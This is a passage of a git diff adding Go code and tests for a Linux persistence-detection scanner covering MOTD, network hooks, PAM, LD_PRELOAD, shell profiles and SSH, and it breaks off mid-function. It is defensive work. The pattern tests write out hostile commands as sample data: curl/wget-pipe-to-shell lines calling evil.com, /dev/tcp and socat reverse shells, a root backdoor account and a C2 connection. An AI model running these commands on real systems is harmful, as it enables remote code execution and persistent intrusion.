+*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestMOTDScanner_CleanScript(t *testing.T) { + path := filepath.Join( + testdataDir(), "motd", "clean-motd", + ) + + findings := ScanFileForPatterns( + path, motdScannerName, mitreMOTD, + ) + + if len(findings) > 0 { + t.Errorf( + "clean motd produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestMOTDScanner_SuspiciousScript(t *testing.T) { + path := filepath.Join( + testdataDir(), "motd", "suspicious-motd", + ) + + findings := ScanFileForPatterns( + path, motdScannerName, mitreMOTD, + ) + + if len(findings) < 2 { + t.Fatalf( + "suspicious motd: got %d findings, want >= 2", + len(findings), + ) + } + + hasHigh := false + hasMedium := false + for _, f := range findings { + if f.Severity >= types.SeverityHigh { + hasHigh = true + } + if f.Severity >= types.SeverityMedium { + hasMedium = true + } + } + + if !hasHigh { + t.Error("expected high+ severity for curl|bash") + } + if !hasMedium { + t.Error("expected medium+ severity for nohup") + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook.go new file mode 100644 index 00000000..8b4cbafc --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook.go @@ -0,0 +1,77 @@ +/* +©AngelaMos | 2026 +netifhook.go + +Scans network interface hook directories for persistence scripts + +Checks NetworkManager dispatcher scripts and if-up.d hooks that +trigger on network state changes. Attackers use these to establish +C2 callbacks whenever a network interface activates. + +MITRE ATT&CK: + T1546 - Event Triggered Execution +*/ + +package scanner + +import ( + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + netifhookScannerName = "netifhook" + mitreNetifhook = "T1546" +) + +var netHookDirs = []string{ + "/etc/NetworkManager/dispatcher.d", + "/etc/NetworkManager/dispatcher.d/pre-up.d", + "/etc/NetworkManager/dispatcher.d/pre-down.d", + "/etc/network/if-up.d", + "/etc/network/if-down.d", + "/etc/network/if-pre-up.d", + "/etc/network/if-post-down.d", +} + +func init() { + Register(&NetIfHookScanner{}) +} + +type NetIfHookScanner struct{} + +func (n *NetIfHookScanner) Name() string { + return netifhookScannerName +} + +func (n *NetIfHookScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + for _, dir := range netHookDirs { + resolved := ResolveRoot(root, dir) + for _, path := range ListFiles(resolved) { + findings = append( + findings, + ScanFileForPatterns( + path, + netifhookScannerName, + mitreNetifhook, + )..., + ) + + if IsWorldWritable(path) { + findings = append(findings, types.Finding{ + Scanner: netifhookScannerName, + Severity: types.SeverityMedium, + Title: "World-writable network hook script", + Path: path, + Evidence: "Any user can modify this network hook", + MITRE: mitreNetifhook, + }) + } + } + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook_test.go new file mode 100644 index 00000000..85b185f8 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/netifhook_test.go @@ -0,0 +1,62 @@ +/* +©AngelaMos | 2026 +netifhook_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestNetIfHookScanner_CleanHook(t *testing.T) { + path := filepath.Join( + testdataDir(), "netifhook", "clean-hook", + ) + + findings := ScanFileForPatterns( + path, netifhookScannerName, mitreNetifhook, + ) + + if len(findings) > 0 { + t.Errorf( + "clean network hook produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestNetIfHookScanner_MaliciousHook(t *testing.T) { + path := filepath.Join( + testdataDir(), "netifhook", "malicious-hook", + ) + + findings := ScanFileForPatterns( + path, netifhookScannerName, mitreNetifhook, + ) + + if len(findings) == 0 { + t.Fatal( + "malicious network hook produced no findings", + ) + } + + hasHigh := false + for _, f := range findings { + if f.Severity >= types.SeverityHigh { + hasHigh = true + } + } + + if !hasHigh { + t.Error( + "expected high+ severity for wget|sh in network hook", + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam.go new file mode 100644 index 00000000..3c09207c --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam.go @@ -0,0 +1,107 @@ +/* +©AngelaMos | 2026 +pam.go + +Scans PAM configuration for authentication backdoor indicators + +Checks /etc/pam.d/ for pam_exec.so entries that run custom scripts +and for references to non-standard PAM modules that may accept any +credential. + +MITRE ATT&CK: + T1556.003 - Modify Authentication Process: Pluggable Authentication Modules +*/ + +package scanner + +import ( + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + pamScannerName = "pam" + mitrePAM = "T1556.003" +) + +func init() { + Register(&PAMScanner{}) +} + +type PAMScanner struct{} + +func (p *PAMScanner) Name() string { + return pamScannerName +} + +func (p *PAMScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + pamD := ResolveRoot(root, "/etc/pam.d") + for _, path := range ListFiles(pamD) { + findings = append( + findings, + p.scanPamConfig(path)..., + ) + } + + return findings +} + +func (p *PAMScanner) scanPamConfig( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if IsCommentOrEmpty(trimmed) { + continue + } + + if strings.Contains(trimmed, "pam_exec.so") { + sev := types.SeverityMedium + if NetworkToolPattern.MatchString(trimmed) || + TempDirPattern.MatchString(trimmed) { + sev = types.SeverityHigh + } + + findings = append(findings, types.Finding{ + Scanner: pamScannerName, + Severity: sev, + Title: "pam_exec.so runs external command", + Path: path, + Evidence: trimmed, + MITRE: mitrePAM, + }) + } + + if strings.Contains(trimmed, "pam_permit.so") && + containsAuthContext(trimmed) { + findings = append(findings, types.Finding{ + Scanner: pamScannerName, + Severity: types.SeverityHigh, + Title: "pam_permit.so in auth context (accepts any credential)", + Path: path, + Evidence: trimmed, + MITRE: mitrePAM, + }) + } + } + return findings +} + +func containsAuthContext(line string) bool { + fields := strings.Fields(line) + if len(fields) < 1 { + return false + } + return fields[0] == "auth" +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam_test.go new file mode 100644 index 00000000..9551d874 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/pam_test.go @@ -0,0 +1,127 @@ +/* +©AngelaMos | 2026 +pam_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestPAMScanner_BackdoorConfig(t *testing.T) { + p := &PAMScanner{} + path := filepath.Join( + testdataDir(), "pam", "backdoor-pam", + ) + + findings := p.scanPamConfig(path) + if len(findings) == 0 { + t.Fatal("backdoor pam config produced no findings") + } + + hasPermit := false + for _, f := range findings { + if f.Severity == types.SeverityHigh && + f.Title == "pam_permit.so in auth context "+ + "(accepts any credential)" { + hasPermit = true + } + } + + if !hasPermit { + t.Error( + "expected high severity for pam_permit.so in auth", + ) + } +} + +func TestPAMScanner_CleanConfig(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "clean-pam") + writeTestFile( + t, path, + "auth required pam_unix.so\n"+ + "account required pam_unix.so\n", + ) + + p := &PAMScanner{} + findings := p.scanPamConfig(path) + + if len(findings) > 0 { + t.Errorf( + "clean pam config produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestPAMScanner_PamExec(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "pam-exec") + writeTestFile( + t, path, + "auth optional pam_exec.so /tmp/.hidden/hook\n", + ) + + p := &PAMScanner{} + findings := p.scanPamConfig(path) + + if len(findings) == 0 { + t.Fatal("pam_exec.so with tmp path produced no findings") + } + + if findings[0].Severity != types.SeverityHigh { + t.Errorf( + "severity = %v, want high", + findings[0].Severity, + ) + } +} + +func TestContainsAuthContext(t *testing.T) { + tests := []struct { + name string + line string + want bool + }{ + { + name: "auth line", + line: "auth required pam_unix.so", + want: true, + }, + { + name: "account line", + line: "account required pam_unix.so", + want: false, + }, + { + name: "session line", + line: "session optional pam_motd.so", + want: false, + }, + { + name: "empty", + line: "", + want: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := containsAuthContext(tt.line) + if got != tt.want { + t.Errorf( + "containsAuthContext(%q) = %v, want %v", + tt.line, got, tt.want, + ) + } + }) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns.go new file mode 100644 index 00000000..366acf7f --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns.go @@ -0,0 +1,148 @@ +/* +©AngelaMos | 2026 +patterns.go + +Compiled regular expressions for detecting suspicious persistence content + +Centralizes all pattern matching used across scanner modules so each +scanner does not duplicate regex compilation. Patterns cover network +tool invocations, encoding/obfuscation, reverse shell signatures, +temporary directory references, and alias hijacking. +*/ + +package scanner + +import ( + "regexp" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +var NetworkToolPattern = regexp.MustCompile( + `\b(curl|wget|nc|ncat|nmap|socat)\b`, +) + +var DownloadExecPattern = regexp.MustCompile( + `(curl|wget)\s+.*\|\s*(bash|sh|zsh|dash)` + + `|` + + `(curl|wget)\s+.*-o\s+/tmp/`, +) + +var EncodingPattern = regexp.MustCompile( + `\b(base64\s+-d|base64\s+--decode|xxd\s+-r|openssl\s+enc)\b` + + `|` + + `\becho\s+[A-Za-z0-9+/=]{20,}\s*\|`, +) + +var ReverseShellPattern = regexp.MustCompile( + `/dev/tcp/` + + `|` + + `\bmkfifo\b.*\bnc\b` + + `|` + + `\bsocat\b.*\bexec\b` + + `|` + + `python[23]?\s+-c\s+.*socket` + + `|` + + `perl\s+-e\s+.*socket` + + `|` + + `ruby\s+-rsocket`, +) + +var TempDirPattern = regexp.MustCompile( + `(/tmp/|/dev/shm/|/var/tmp/)`, +) + +var ScriptLangPattern = regexp.MustCompile( + `\b(python[23]?|perl|ruby)\s+-[ce]\b`, +) + +var AliasHijackPattern = regexp.MustCompile( + `alias\s+(sudo|su|ssh|ls|cat|id|whoami|passwd)\s*=`, +) + +var LDPreloadPattern = regexp.MustCompile( + `\b(LD_PRELOAD|LD_LIBRARY_PATH)\s*=`, +) + +var PathManipPattern = regexp.MustCompile( + `\bPATH\s*=\s*["']?(/tmp|/dev/shm|/var/tmp)`, +) + +var NohupPattern = regexp.MustCompile( + `\bnohup\b.*&` + + `|` + + `&\s*disown`, +) + +var EvalExecPattern = regexp.MustCompile( + `\b(eval|exec)\s+["']?\$\(.*(curl|wget|nc|base64)`, +) + +var SuidPattern = regexp.MustCompile( + `chmod\s+[ugo]*\+s\b` + + `|` + + `chmod\s+[247][0-7]{3}\b`, +) + +var AccountCreatePattern = regexp.MustCompile( + `\b(useradd|adduser|usermod)\b`, +) + +var ImmutablePattern = regexp.MustCompile( + `\bchattr\s+[+-]i\b`, +) + +var PersistenceInstallPattern = regexp.MustCompile( + `\bsystemctl\s+(enable|daemon-reload)\b` + + `|` + + `\bcrontab\s+-[le]\b`, +) + +var EncryptedC2Pattern = regexp.MustCompile( + `\bopenssl\s+s_client\b`, +) + +type PatternMatch struct { + Pattern *regexp.Regexp + Severity types.Severity + Label string +} + +var SuspiciousPatterns = []PatternMatch{ + {ReverseShellPattern, types.SeverityCritical, "reverse shell pattern"}, + {DownloadExecPattern, types.SeverityHigh, "download-and-execute chain"}, + {EncodingPattern, types.SeverityHigh, "encoded/obfuscated payload"}, + {NetworkToolPattern, types.SeverityMedium, "network tool invocation"}, + {ScriptLangPattern, types.SeverityMedium, "inline script execution"}, + {TempDirPattern, types.SeverityMedium, "temporary directory reference"}, + {AliasHijackPattern, types.SeverityHigh, "alias hijacking"}, + {LDPreloadPattern, types.SeverityCritical, "LD_PRELOAD manipulation"}, + {PathManipPattern, types.SeverityHigh, "PATH manipulation to temp dir"}, + {NohupPattern, types.SeverityMedium, "background process launch"}, + {EvalExecPattern, types.SeverityHigh, "dynamic eval/exec"}, + {SuidPattern, types.SeverityCritical, "SUID bit manipulation"}, + {AccountCreatePattern, types.SeverityHigh, "account creation/modification"}, + {ImmutablePattern, types.SeverityHigh, "file attribute manipulation"}, + { + PersistenceInstallPattern, + types.SeverityMedium, + "persistence self-installation", + }, + {EncryptedC2Pattern, types.SeverityHigh, "encrypted C2 channel"}, +} + +func MatchLine( + line string, +) (matched bool, sev types.Severity, label string) { + best := types.SeverityInfo + for _, p := range SuspiciousPatterns { + if p.Pattern.MatchString(line) { + if !matched || p.Severity > best { + best = p.Severity + label = p.Label + } + matched = true + } + } + return matched, best, label +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go new file mode 100644 index 00000000..111a5221 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go @@ -0,0 +1,194 @@ +/* +©AngelaMos | 2026 +patterns_test.go +*/ + +package scanner + +import ( + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestMatchLine(t *testing.T) { + tests := []struct { + name string + line string + wantHit bool + wantSev types.Severity + wantLbl string + }{ + { + name: "clean line", + line: "/usr/sbin/sshd -D", + wantHit: false, + }, + { + name: "curl pipe bash", + line: "curl http://evil.com/x | bash", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "download-and-execute chain", + }, + { + name: "wget pipe sh", + line: "wget -qO- http://evil.com/x | sh", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "download-and-execute chain", + }, + { + name: "base64 decode", + line: "echo dGVzdA== | base64 -d | sh", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "encoded/obfuscated payload", + }, + { + name: "reverse shell dev tcp", + line: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1", + wantHit: true, + wantSev: types.SeverityCritical, + wantLbl: "reverse shell pattern", + }, + { + name: "socat reverse shell", + line: "socat exec:'bash -li',pty TCP:10.0.0.1:4444", + wantHit: true, + wantSev: types.SeverityCritical, + wantLbl: "reverse shell pattern", + }, + { + name: "temp dir reference", + line: "/tmp/.hidden/payload", + wantHit: true, + wantSev: types.SeverityMedium, + wantLbl: "temporary directory reference", + }, + { + name: "dev shm reference", + line: "/dev/shm/.evil.so", + wantHit: true, + wantSev: types.SeverityMedium, + wantLbl: "temporary directory reference", + }, + { + name: "alias hijack", + line: "alias sudo='/tmp/keylog && sudo'", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "alias hijacking", + }, + { + name: "LD_PRELOAD export", + line: "export LD_PRELOAD=/dev/shm/.evil.so", + wantHit: true, + wantSev: types.SeverityCritical, + wantLbl: "LD_PRELOAD manipulation", + }, + { + name: "nohup background", + line: "nohup /tmp/.hidden/beacon &", + wantHit: true, + wantSev: types.SeverityMedium, + }, + { + name: "python socket", + line: "python3 -c 'import socket'", + wantHit: true, + wantSev: types.SeverityCritical, + wantLbl: "reverse shell pattern", + }, + { + name: "PATH to tmp", + line: "PATH=/tmp/evil:$PATH", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "PATH manipulation to temp dir", + }, + { + name: "normal path export", + line: "export PATH=/usr/local/bin:$PATH", + wantHit: false, + }, + { + name: "comment with keyword", + line: "# curl http://example.com", + wantHit: true, + wantSev: types.SeverityMedium, + wantLbl: "network tool invocation", + }, + { + name: "chmod suid", + line: "chmod u+s /tmp/.hidden/shell", + wantHit: true, + wantSev: types.SeverityCritical, + wantLbl: "SUID bit manipulation", + }, + { + name: "chmod numeric suid", + line: "chmod 4755 /usr/local/bin/backdoor", + wantHit: true, + wantSev: types.SeverityCritical, + wantLbl: "SUID bit manipulation", + }, + { + name: "useradd backdoor", + line: "useradd -o -u 0 -g root backdoor", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "account creation/modification", + }, + { + name: "chattr immutable", + line: "chattr +i /etc/resolv.conf", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "file attribute manipulation", + }, + { + name: "systemctl enable persistence", + line: "systemctl enable backdoor.service", + wantHit: true, + wantSev: types.SeverityMedium, + wantLbl: "persistence self-installation", + }, + { + name: "openssl c2 channel", + line: "openssl s_client -connect c2.evil.com:443", + wantHit: true, + wantSev: types.SeverityHigh, + wantLbl: "encrypted C2 channel", + }, + { + name: "normal chmod", + line: "chmod 755 /usr/local/bin/app", + wantHit: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + hit, sev, lbl := MatchLine(tt.line) + if hit != tt.wantHit { + t.Errorf( + "MatchLine(%q) hit = %v, want %v", + tt.line, hit, tt.wantHit, + ) + } + if tt.wantHit && sev < tt.wantSev { + t.Errorf( + "MatchLine(%q) sev = %v, want >= %v", + tt.line, sev, tt.wantSev, + ) + } + if tt.wantLbl != "" && lbl != tt.wantLbl { + t.Errorf( + "MatchLine(%q) label = %q, want %q", + tt.line, lbl, tt.wantLbl, + ) + } + }) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload.go new file mode 100644 index 00000000..f10fc2d3 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload.go @@ -0,0 +1,146 @@ +/* +©AngelaMos | 2026 +preload.go + +Scans for LD_PRELOAD and dynamic linker hijacking persistence + +Checks /etc/ld.so.preload for entries (almost never legitimate), +scans /etc/ld.so.conf.d/ for libraries in suspicious paths, and +looks for LD_PRELOAD exports in /etc/environment. + +MITRE ATT&CK: + T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking +*/ + +package scanner + +import ( + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + preloadScannerName = "ld_preload" + mitrePreload = "T1574.006" +) + +func init() { + Register(&PreloadScanner{}) +} + +type PreloadScanner struct{} + +func (p *PreloadScanner) Name() string { + return preloadScannerName +} + +func (p *PreloadScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + preload := ResolveRoot(root, "/etc/ld.so.preload") + findings = append( + findings, + p.scanPreloadFile(preload)..., + ) + + confD := ResolveRoot(root, "/etc/ld.so.conf.d") + for _, path := range ListFiles(confD) { + findings = append( + findings, + p.scanConfFile(path)..., + ) + } + + envFile := ResolveRoot(root, "/etc/environment") + findings = append( + findings, + p.scanEnvironment(envFile)..., + ) + + return findings +} + +func (p *PreloadScanner) scanPreloadFile( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if trimmed == "" || strings.HasPrefix(trimmed, "#") { + continue + } + + sev := types.SeverityHigh + if TempDirPattern.MatchString(trimmed) { + sev = types.SeverityCritical + } + + findings = append(findings, types.Finding{ + Scanner: preloadScannerName, + Severity: sev, + Title: "Library in ld.so.preload", + Path: path, + Evidence: trimmed, + MITRE: mitrePreload, + }) + } + return findings +} + +func (p *PreloadScanner) scanConfFile( + path string, +) []types.Finding { + lines := ReadLines(path) + var findings []types.Finding + + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if IsCommentOrEmpty(trimmed) { + continue + } + + if TempDirPattern.MatchString(trimmed) { + findings = append(findings, types.Finding{ + Scanner: preloadScannerName, + Severity: types.SeverityHigh, + Title: "Library path in temp directory", + Path: path, + Evidence: trimmed, + MITRE: mitrePreload, + }) + } + } + return findings +} + +func (p *PreloadScanner) scanEnvironment( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + if LDPreloadPattern.MatchString(line) { + findings = append(findings, types.Finding{ + Scanner: preloadScannerName, + Severity: types.SeverityCritical, + Title: "LD_PRELOAD in /etc/environment", + Path: path, + Evidence: strings.TrimSpace(line), + MITRE: mitrePreload, + }) + } + } + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload_test.go new file mode 100644 index 00000000..f747ad7c --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload_test.go @@ -0,0 +1,51 @@ +/* +©AngelaMos | 2026 +preload_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestPreloadScanner_NonEmpty(t *testing.T) { + p := &PreloadScanner{} + path := filepath.Join( + testdataDir(), "preload", "ld.so.preload", + ) + + findings := p.scanPreloadFile(path) + if len(findings) == 0 { + t.Fatal("ld.so.preload with entry produced no findings") + } + + if findings[0].Severity != types.SeverityCritical { + t.Errorf( + "severity = %v, want critical", + findings[0].Severity, + ) + } +} + +func TestPreloadScanner_Environment(t *testing.T) { + p := &PreloadScanner{} + path := filepath.Join( + testdataDir(), "preload", "environment", + ) + + findings := p.scanEnvironment(path) + if len(findings) == 0 { + t.Fatal("environment with LD_PRELOAD produced no findings") + } + + if findings[0].Severity != types.SeverityCritical { + t.Errorf( + "severity = %v, want critical", + findings[0].Severity, + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile.go new file mode 100644 index 00000000..40106f54 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile.go @@ -0,0 +1,94 @@ +/* +©AngelaMos | 2026 +profile.go + +Scans shell initialization files for injected persistence commands + +Checks system-wide and per-user shell RC files (bash, zsh, profile) +for suspicious patterns: network callbacks, encoded payloads, alias +hijacking, PATH manipulation, LD_PRELOAD exports, and background +process launchers. + +MITRE ATT&CK: + T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification +*/ + +package scanner + +import ( + "path/filepath" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + profileScannerName = "profile" + mitreProfile = "T1546.004" +) + +var systemProfiles = []string{ + "/etc/profile", + "/etc/bash.bashrc", + "/etc/zsh/zshrc", + "/etc/zsh/zprofile", +} + +var userProfileFiles = []string{ + ".bashrc", + ".bash_profile", + ".bash_login", + ".bash_logout", + ".profile", + ".zshrc", + ".zprofile", +} + +func init() { + Register(&ProfileScanner{}) +} + +type ProfileScanner struct{} + +func (p *ProfileScanner) Name() string { + return profileScannerName +} + +func (p *ProfileScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + for _, path := range systemProfiles { + resolved := ResolveRoot(root, path) + findings = append( + findings, + ScanFileForPatterns( + resolved, profileScannerName, mitreProfile, + )..., + ) + } + + profileD := ResolveRoot(root, "/etc/profile.d") + for _, path := range ListFiles(profileD) { + findings = append( + findings, + ScanFileForPatterns( + path, profileScannerName, mitreProfile, + )..., + ) + } + + for _, home := range FindUserDirs(root) { + for _, name := range userProfileFiles { + path := filepath.Join(home, name) + findings = append( + findings, + ScanFileForPatterns( + path, profileScannerName, mitreProfile, + )..., + ) + } + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile_test.go new file mode 100644 index 00000000..ad222c36 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile_test.go @@ -0,0 +1,66 @@ +/* +©AngelaMos | 2026 +profile_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestProfileScanner_CleanBashrc(t *testing.T) { + path := filepath.Join( + testdataDir(), "profiles", "clean-bashrc", + ) + findings := ScanFileForPatterns( + path, profileScannerName, mitreProfile, + ) + + if len(findings) > 0 { + t.Errorf( + "clean bashrc produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestProfileScanner_InjectedBashrc(t *testing.T) { + path := filepath.Join( + testdataDir(), "profiles", "injected-bashrc", + ) + findings := ScanFileForPatterns( + path, profileScannerName, mitreProfile, + ) + + if len(findings) < 3 { + t.Fatalf( + "injected bashrc: got %d findings, want >= 3", + len(findings), + ) + } + + hasCritical := false + hasHigh := false + for _, f := range findings { + if f.Severity == types.SeverityCritical { + hasCritical = true + } + if f.Severity == types.SeverityHigh { + hasHigh = true + } + } + + if !hasCritical { + t.Error("expected critical for LD_PRELOAD") + } + if !hasHigh { + t.Error("expected high for alias hijack or curl|bash") + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/scanner.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/scanner.go new file mode 100644 index 00000000..a17c27ac --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/scanner.go @@ -0,0 +1,71 @@ +/* +©AngelaMos | 2026 +scanner.go + +Scanner registry that collects and runs all persistence scanners + +Maintains an ordered slice of scanners registered at init time. +RunAll iterates each scanner in parallel using errgroup, collects +findings under a mutex, and returns the merged result set. Each +scanner module calls Register in its init function to add itself. +*/ + +package scanner + +import ( + "log/slog" + "sync" + + "golang.org/x/sync/errgroup" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +var registry []types.Scanner + +func Register(s types.Scanner) { + registry = append(registry, s) +} + +func All() []types.Scanner { + return registry +} + +func RunAll(root string) []types.Finding { + var ( + mu sync.Mutex + all []types.Finding + g errgroup.Group + ) + + slog.Debug( + "starting scan", + "root", root, + "scanners", len(registry), + ) + + for _, s := range registry { + g.Go(func() error { + slog.Debug( + "scanner started", "name", s.Name(), + ) + results := s.Scan(root) + slog.Debug( + "scanner finished", + "name", s.Name(), + "findings", len(results), + ) + mu.Lock() + all = append(all, results...) + mu.Unlock() + return nil + }) + } + + _ = g.Wait() //nolint:errcheck + + slog.Debug( + "scan complete", "total_findings", len(all), + ) + return all +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh.go new file mode 100644 index 00000000..cb7403d0 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh.go @@ -0,0 +1,196 @@ +/* +©AngelaMos | 2026 +ssh.go + +Scans SSH configuration and authorized keys for persistence indicators + +Checks authorized_keys files for forced command options, sshd_config +for dangerous directives like PermitRootLogin and non-standard +AuthorizedKeysFile paths, and detects ~/.ssh/rc login scripts. + +MITRE ATT&CK: + T1098.004 - Account Manipulation: SSH Authorized Keys +*/ + +package scanner + +import ( + "path/filepath" + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + sshScannerName = "ssh" + mitreSSH = "T1098.004" +) + +func init() { + Register(&SSHScanner{}) +} + +type SSHScanner struct{} + +func (s *SSHScanner) Name() string { + return sshScannerName +} + +func (s *SSHScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + for _, home := range FindUserDirs(root) { + findings = append( + findings, + s.scanAuthorizedKeys( + filepath.Join( + home, ".ssh", "authorized_keys", + ), + )..., + ) + findings = append( + findings, + s.scanAuthorizedKeys( + filepath.Join( + home, ".ssh", "authorized_keys2", + ), + )..., + ) + + rc := filepath.Join(home, ".ssh", "rc") + if FileExists(rc) { + findings = append(findings, types.Finding{ + Scanner: sshScannerName, + Severity: types.SeverityMedium, + Title: "SSH rc script detected", + Path: rc, + Evidence: "~/.ssh/rc executes on every SSH login", + MITRE: mitreSSH, + }) + findings = append( + findings, + ScanFileForPatterns( + rc, sshScannerName, mitreSSH, + )..., + ) + } + } + + sshdConfig := ResolveRoot(root, "/etc/ssh/sshd_config") + findings = append( + findings, + s.scanSSHDConfig(sshdConfig)..., + ) + + sshdConfigD := ResolveRoot( + root, "/etc/ssh/sshd_config.d", + ) + for _, path := range ListFiles(sshdConfigD) { + findings = append( + findings, + s.scanSSHDConfig(path)..., + ) + } + + return findings +} + +func (s *SSHScanner) scanAuthorizedKeys( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if trimmed == "" || strings.HasPrefix(trimmed, "#") { + continue + } + + if strings.Contains(trimmed, "command=") { + findings = append(findings, types.Finding{ + Scanner: sshScannerName, + Severity: types.SeverityHigh, + Title: "Forced command in authorized_keys", + Path: path, + Evidence: truncate(trimmed), + MITRE: mitreSSH, + }) + } + + if strings.Contains(trimmed, "environment=") { + findings = append(findings, types.Finding{ + Scanner: sshScannerName, + Severity: types.SeverityHigh, + Title: "Environment override in authorized_keys", + Path: path, + Evidence: truncate(trimmed), + MITRE: mitreSSH, + }) + } + } + return findings +} + +func (s *SSHScanner) scanSSHDConfig( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + lower := strings.ToLower(trimmed) + + if strings.HasPrefix(lower, "permitrootlogin") && + strings.Contains(lower, "yes") { + findings = append(findings, types.Finding{ + Scanner: sshScannerName, + Severity: types.SeverityMedium, + Title: "PermitRootLogin enabled", + Path: path, + Evidence: trimmed, + MITRE: mitreSSH, + }) + } + + if strings.HasPrefix(lower, "authorizedkeysfile") { + val := 